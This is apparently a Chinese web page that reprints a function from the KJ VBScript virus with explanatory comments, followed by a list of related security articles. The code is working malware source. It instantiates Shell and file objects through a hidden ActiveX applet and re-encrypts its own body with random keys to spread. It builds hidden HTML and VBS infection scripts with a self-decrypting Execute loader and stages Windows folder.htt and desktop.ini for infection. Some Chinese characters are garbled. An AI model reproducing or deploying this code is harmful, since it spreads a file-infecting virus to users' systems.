' 生成傳染用的加密字串
' 備份系統(tǒng)中的web\folder.htt和system32\desktop.ini
Function KJSetDim()
On Error Resume Next
Err.Clear
' 測試當前執(zhí)行文件是html還是vbs
TestIt = WScript.ScriptFullname
If Err Then
InWhere = "html"
Else
InWhere = "vbs"
End If
' 創(chuàng)建文件訪問對象和Shell對象
If InWhere = "vbs" Then
Set FSO = CreateObject("Scripting.FileSystemObject")
Set WsShell = CreateObject("WScript.Shell")
Else
Set AppleObject = document.applets("KJ_guest")
AppleObject.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}")
AppleObject.createInstance()
Set WsShell = AppleObject.GetObject()
AppleObject.setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}")
AppleObject.createInstance()
Set FSO = AppleObject.GetObject()
End If
Set DiskObject = FSO.Drives
' 判斷磁盤類型
'
' 0: Unknown
' 1: Removable
' 2: Fixed
' 3: Network
' 4: CD-ROM
' 5: RAM Disk
' 如果不是可移動磁盤或者固定磁盤就跳出循環(huán)?？赡茏髡呖紤]的是網絡磁盤、CD-ROM、RAM Disk都是在比較靠后的位置。呵呵，如果C:是RAMDISK會怎么樣？
For Each DiskTemp In DiskObject
If DiskTemp.DriveType <> 2 And DiskTemp.DriveType <> 1 Then
Exit For
End If
FinalyDisk = DiskTemp.DriveLetter
Next
' 此前的這段病毒體已經解密，并且存放在ThisText中，現(xiàn)在為了傳播，需要對它進行再加密。
' 加密算法
Dim OtherArr(3)
Randomize
' 隨機生成4個算子
For i = 0 To 3
OtherArr(i) = Int((9 * Rnd))
Next
TempString = ""
For i = 1 To Len(ThisText)
TempNum = Asc(Mid(ThisText, i, 1))
'對回車、換行(0x0D,0x0A)做特別的處理
If TempNum = 13 Then
TempNum = 28
ElseIf TempNum = 10 Then
TempNum = 29
End If
'很簡單的加密處理，每個字符減去相應的算子，那么在解密的時候只要按照這個順序每個字符加上相應的算子就可以了。
TempChar = Chr(TempNum - OtherArr(i Mod 4))
If TempChar = Chr(34) Then
TempChar = Chr(18)
End If
TempString = TempString & TempChar
Next
' 含有解密算法的字串
UnLockStr = "Execute(""Dim KeyArr(3),ThisText""&vbCrLf&""KeyArr(0) = " & OtherArr(0) & """&vbCrLf&""KeyArr(1) = " & OtherArr(1) & """&vbCrLf&""KeyArr(2) = " & OtherArr(2) & """&vbCrLf&""KeyArr(3) = " & OtherArr(3) & """&vbCrLf&""For i=1 To Len(ExeString)""&vbCrLf&""TempNum = Asc(Mid(ExeString,i,1))""&vbCrLf&""If TempNum = 18 Then""&vbCrLf&""TempNum = 34""&vbCrLf&""End If""&vbCrLf&""TempChar = Chr(TempNum + KeyArr(i Mod 4))""&vbCrLf&""If TempChar = Chr(28) Then""&vbCrLf&""TempChar = vbCr""&vbCrLf&""ElseIf TempChar = Chr(29) Then""&vbCrLf&""TempChar = vbLf""&vbCrLf&""End If""&vbCrLf&""ThisText = ThisText & TempChar""&vbCrLf&""Next"")" & vbCrLf & "Execute(ThisText)"
' 將加密好的病毒體復制給變量 ThisText
ThisText = "ExeString = """ & TempString & """"
' 生成html感染用的腳本
HtmlText = "<" & "script language=vbscript>" & vbCrLf & "document.write " & """" & "<" & "div style='position:absolute; left:0px; top:0px; width:0px; height:0px; z-index:28; visibility: hidden'>" & "<""&""" & "APPLET NAME=KJ""&""_guest HEIGHT=0 WIDTH=0 code=com.ms.""&""activeX.Active""&""XComponent>" & "<" & "/APPLET>" & "<" & "/div>""" & vbCrLf & "<" & "/script>" & vbCrLf & "<" & "script language=vbscript>" & vbCrLf & ThisText & vbCrLf & UnLockStr & vbCrLf & "<" & "/script>" & vbCrLf & "<" & "/BODY>" & vbCrLf & "<" & "/HTML>"
' 生成vbs感染用的腳本
VbsText = ThisText & vbCrLf & UnLockStr & vbCrLf & "KJ_start()"
' 取得Windows目錄
' GetSpecialFolder(n)
' 0: WindowsFolder
' 1: SystemFolder
' 2: TemporaryFolder
' 如果系統(tǒng)目錄存在web\Folder.htt和system32\desktop.ini，則用kjwall.gif文件名備份它們。
WinPath = FSO.GetSpecialFolder(0) & "\"
If (FSO.FileExists(WinPath & "web\Folder.htt")) Then
FSO.CopyFile WinPath & "web\Folder.htt", WinPath & "web\kjwall.gif"
End If
If (FSO.FileExists(WinPath & "system32\desktop.ini")) Then
FSO.CopyFile WinPath & "system32\desktop.ini", WinPath & "system32\kjwall.gif"
End If
End Function
%>
相關文章
這篇文章主要為大家介紹了網絡安全滲透測試之musl堆利用技巧，有需要的朋友可以借鑒參考下，希望能夠有所幫助，祝大家多多進步，早日升職加薪2022-02-02
這篇文章主要為大家介紹了ABAP OPEN SQL注入漏洞防御方法示例詳解,有需要的朋友可以借鑒參考下,希望能夠有所幫助,祝大家多多進步,早日升職加薪2023-11-11
mysql5注入漏洞代碼2008-02-02
個人用戶防黑指南...2006-10-10
詳解BMP木馬...2006-10-10
入侵oracle數(shù)據(jù)庫的一些技巧...2007-10-10
這篇文章主要為打擊分享下一些常用SQL注入相關的命令，今天幫客戶做安裝的時候發(fā)現(xiàn)他的網站有很多漏洞，導致注入數(shù)據(jù)庫也被清空了，希望大家多關于安全2006-12-12
Win32 下病毒設計入門詳細說明...2007-04-04
跨站腳本攻擊XSS（Cross Site Script）的原理與常見場景分析
XSS指的是惡意攻擊者往Web頁面里插入惡意html代碼，當用戶瀏覽該頁之時，嵌入其中Web里面的html代碼會被執(zhí)行，從而達到惡意攻擊用戶的特殊目的。這篇文章主要給大家介紹了關于跨站腳本攻擊XSS（Cross Site Script）的原理與常見場景的相關資料，需要的朋友可以參考下。2017-12-12
Win32下病毒設計入門...2006-10-10